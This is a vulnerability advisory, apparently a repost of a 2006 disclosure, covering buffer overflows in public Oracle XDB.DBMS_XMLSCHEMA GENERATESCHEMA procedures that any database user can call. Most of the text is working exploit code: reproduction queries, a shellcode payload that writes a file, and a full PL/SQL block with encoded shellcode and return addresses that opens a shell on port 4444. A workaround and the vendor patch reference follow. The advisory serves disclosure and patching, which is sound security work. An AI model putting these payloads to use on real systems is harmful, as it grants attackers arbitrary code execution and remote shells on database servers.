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Oracle Database Public Procedures of XDB.DBMS_XMLSCHEMA{_INT} Buffer
Overflows
------------------------------------------------------------------------
SUMMARY
Improper length validation of XDB.DBMS_XMLSCHEMA.GENERATESCHEMA in Oracle
Database, allows attackers to execute arbitrary code by using spicily
crafted query.
DETAILS
Vulnerable Systems:
* Oracle Database Server version 9iR2
* Oracle Database Server version 10gR1
Oracle Database Server provides the DBMS_XMLSCHEMA and DBMS_XMLSCHEMA_INT
Packages that include procedures to register and delete XML schemas. These
packages contain the public procedures GENERATESCHEMA and GENERATESCHEMAS
that are vulnerable to buffer overflow attacks.
By default XDB.DBMS_XMLSCHEMA{_INT} has EXECUTE permission to PUBLIC so
any Oracle database user can exploit this vulnerability. Exploitation of
this vulnerability allows an attacker to execute arbitrary code. It can
also be exploited to cause DOS (Denial of service) killing Oracle server
process.
To reproduce the vulnerabilities execute the next PL/SQL:
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA('LongStringHere',
'OrLongStringHere') from dual;
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMAS('LongStringHere',
'OrLongStringHere') from dual;
DECLARE
a SYS.XMLTYPE; -- return value
BEGIN
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA ('LongStringHere',
'OrLongStringHere', '', FALSE, FALSE, FALSE);
END;
DECLARE
a SYS.XMLSEQUENCETYPE; -- return value
BEGIN
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMAS ('LongStringHere',
'OrLongStringHere', '', '', FALSE, FALSE);
END;
Proof of Concept:
Shellcode creates file c:\Unbreakable.txt and writes "ARE YOU SURE?":
SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a',
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCC
CCCCCCCABCDE' || chr(212)||chr(100)||chr(201)||chr(01)
||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)
||chr(192)||chr(146)||chr(49)||chr(02)||chr(255)||
chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'echo ARE YOU SURE?
c:\Unbreakable.txt') FROM DUAL;
Shellcode opens a shell on port 4444 from www.metasploit.com:
DECLARE a SYS.XMLTYPE; -- return value
AAA VARCHAR2(32767);
AA VARCHAR2(32767);
BBB VARCHAR2(32767);
JMP VARCHAR2(32767);
RET VARCHAR2(32767);
RETT VARCHAR2(32767);
SHELLCODE VARCHAR2(32767);
BEGIN
AAA:='A';
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
AAA:=AAA || AAA;
JMP := 'BB' ||chr(235) || chr(09);
RETT:= chr(138) || chr(153) || chr(255) ||chr(191);
RET:= chr(219) || chr(176) || chr(10) ||chr(08);
SHELLCODE
:=chr(41)||chr(201)||chr(219)||chr(201)||chr(177)||chr(22)||chr(184)||chr(37)
||chr(84)||chr(39)||chr(117)||chr(217)||chr(116)||chr(36)||chr(244)||chr(95)
||chr(131)||chr(199)||chr(4)||chr(49)||chr(71)||chr(17)||chr(3)||chr(98)
||chr(69)||chr(197)||chr(128)||chr(93)||chr(190)||chr(90)||chr(40)||chr(206)
||chr(42)||chr(95)||chr(196)||chr(150)||chr(242)||chr(198)||chr(145)||chr(183)
||chr(206)||chr(121)||chr(55)||chr(116)||chr(131)||chr(31)||chr(80)||chr(107)
||chr(127)||chr(134)||chr(243)||chr(2)||chr(158)||chr(44)||chr(146)||chr(76)
||chr(49)||chr(224)||chr(12)||chr(229)||chr(80)||chr(207)||chr(49)||chr(69)
||chr(244)||chr(1)||chr(210)||chr(104)||chr(121)||chr(243)||chr(71)||chr(36)
||chr(57)||chr(125)||chr(134)||chr(120)||chr(219)||chr(176)||chr(201)||chr(235)
||chr(78)||chr(73)||chr(147)||chr(187)||chr(176)||chr(128)||chr(163)||chr(242)
||chr(183)||chr(227)||chr(20)||chr(15)||chr(26)||chr(124)||chr(122)||chr(32)
||chr(233)||chr(20)||chr(236)||chr(17)||chr(111)||chr(140)||chr(130)||chr(228)
||chr(140)||chr(28)||chr(8)||chr(127)||chr(179)||chr(108)||chr(46);
BBB:= JMP || RET ||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'||SHELLCODE||'
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBB';
AA := AAA || BBB;
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA (SCHEMANAME => AA, TYPENAME =>
'longstring', ELEMENTNAME => '', RECURSE => FALSE, ANNOTATE => FALSE,
EMBEDCOLL => FALSE);
END;
Workaround:
Restrict access to the XDB.DBMS_XMLSCHEMA and XDB.DBMS_XMLSCHEMA_INT
packages.
Vendor Status:
The vendor has issued a fix:
<http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html>
http://www.oracle.com/technology/deploy/security/pdf/cpujan2006.html
ADDITIONAL INFORMATION
The information has been provided by <mailto:cesarc56@yahoo.com> Cesar.
The original article can be found at:
<http://www.argeniss.com/research/ARGENISS-ADV-010601.txt>
http://www.argeniss.com/research/ARGENISS-ADV-010601.txt
The Proof of Concept can be found at:
<http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt>
http://www.argeniss.com/research/OraGENERATESCHEMAExploits.txt
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